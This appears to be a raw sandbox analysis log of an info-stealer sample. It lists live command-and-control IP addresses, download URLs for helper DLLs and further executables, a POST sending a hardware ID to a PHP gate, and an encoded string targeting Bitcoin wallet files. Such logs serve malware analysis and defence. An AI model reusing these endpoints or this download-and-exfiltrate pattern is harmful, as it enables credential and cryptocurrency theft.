Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA6CC60 PR_Recv,

0_2_6CA6CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 42 39 43 45 37 46 34 37 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 2d 2d 0d 0a Data Ascii: ------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="hwid"02B9CE7F4724796922796------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="build"stok------GDAECAECFCAAEBFHIEHD--

Source: file.exe, 00000000.00000002.2699197714.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2699197714.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllLs
Source: file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2699197714.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2452457713.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9n
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/;p
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpXP
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpam
Source: file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc
Source: file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K
Source: file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000002.2705701503.000000000BCCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpes;C:
Source: file.exe, 00000000.00000002.2705701503.000000000BCCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw
Source: file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn
Source: file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000011.00000002.3378393306.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3378393306.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3378393306.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 00000011.00000002.3378393306.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_88.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711939853.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_88.5.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_88.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_88.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_88.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_88.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_88.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_88.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_88.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_88.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49936 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name:
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
